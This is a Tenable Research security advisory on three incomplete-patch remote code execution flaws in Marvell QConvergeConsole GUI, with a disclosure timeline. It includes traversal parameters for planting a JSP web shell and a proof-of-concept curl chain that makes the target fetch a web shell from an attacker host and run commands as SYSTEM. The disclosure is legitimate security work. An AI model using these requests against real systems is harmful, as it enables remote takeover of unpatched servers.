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Marvell QConvergeConsole GUI Multiple Vulnerabilities

High

Synopsis

Tenable Research discovered multiple vulnerabilities in Marvell QConvergeConsole GUI resulting from incomplete patches for previously published and patched vulnerabilities.

CVE-2020-15643: saveAsText Directory Traversal Remote Code Execution Vulnerability
The previous fix for this vulnerability only checks the name parameter for path traversal; it does not check the prePath parameter.
If an authenticated, remote attacker specifies prePath="QCCAgentInstallers", name="webshell.jsp" and data=<contents_of_the_webshell_jsp_file>, the saveAsText method will create a malicious web shell in the context path of the QCCAgentInstallers web application, which does not require authentication.
The attacker can then send a command to the JSP web shell, which is running under the security context of the SYSTEM or root account.

See the Proof of Concept here on GitHub.

CVE-2020-15644: setAppFileBytes Directory Traversal Remote Code Execution Vulnerability
The previous fix for this vulnerability only checks the name parameter for path traversal; it does not check the prePath parameter.
If an authenticated, remote attacker specifies prePath="QCCAgentInstallers", name="webshell.jsp", iType=4, data=<contents_of_the_webshell_jsp_file>, and iMode=1, the setAppFileBytes method will create a malicious web shell in the context path of the QCCAgentInstallers web application, which does not require authentication.
The attacker can then send a command to the JSP web shell, which is running under the security context of the SYSTEM or root account.

See the Proof of Concept here on GitHub.

CVE-2020-15645: getFileFromURL Unrestricted File Upload Remote Code Execution Vulnerability
The previous fix appears to have a logic error. Its intention looks to be to restrict the file download URL to download.qlogic.com, but it instead does the opposite (restricting download URLs containing download.qlogic.com).

public synchronized String getFileFromURL(String urlString, boolean bIsWarFile) {
    if (urlString.contains("download.qlogic.com")) {
      Trace.warn("getFileFromURL:  suspecious URL name, skipping operation.");
      return "";
  [...]

An authenticated, remote attacker can upload a malicious JSP file and execute it as SYSTEM or root.

# 1) Craft a JSP webshell
# 2) Run an httpd on the attacker host to serve the JSP webshell 
[email protected]:/tmp# python3 -m http.server 8000 &
[1] 3477
[email protected]:/tmp# Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

# 3) Instruct the QCC host to download the JSP webshell from attacker's host
# The JSP webshell will be saved in the context path of the QConvergeConsole web application
[email protected]:/tmp# curl -si  --cookie 'JSESSIONID=<valid_authenticated_JSESSIONID>' -H 'Content-Type: text/x-gwt-rpc; charset=UTF-8' -H 'X-GWT-Permutation: deadbeef' -d '7|0|7|http://<qcc_host>:8080/QConvergeConsole/com.qlogic.qms.hba.gwt.Main/|serialization_policy|com.qlogic.qms.hba.gwt.client.GWTTestService|getFileFromURL|java.lang.String/2004016611|Z|http://<attacker_host>:8000/webshell.jsp|1|2|3|4|2|5|6|7|0|' http://<qcc_host>:8080/QConvergeConsole/com.qlogic.qms.hba.gwt.Main/gwttestservice

# 4) Send a command to the JSP webshell
roo[email protected]:/tmp#  curl --cookie 'JSESSIONID=<valid_authenticated_JSESSIONID>'  http://<qcc_host>:8080/QConvergeConsole/webshell.jsp?cmd=whoami          
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: whoami<BR>
nt authority\system

</pre>
</BODY></HTML>

Solution

Marvell notified Tenable that they are currently developing a software release update. No solution is currently available.

Disclosure Timeline

September 17, 2020 - Tenable uses Marvell web form to ask for direct security contact email address and PGP key.
September 18, 2020 - Marvell replies asking for more details, providing PGP key.
September 18, 2020 - Tenable replies with vulnerability details/disclosure.
September 23, 2020 - Tenable reaches out to see if vendor received / was able to decrypt vulnerability details.
September 24, 2020 - Marvell responds, asks for more time for disclosure.
September 24, 2020 - Tenable responds, indicating that disclosure will occur as planned.
September 24, 2020 - Marvell notified Tenable that they are currently developing a software release update.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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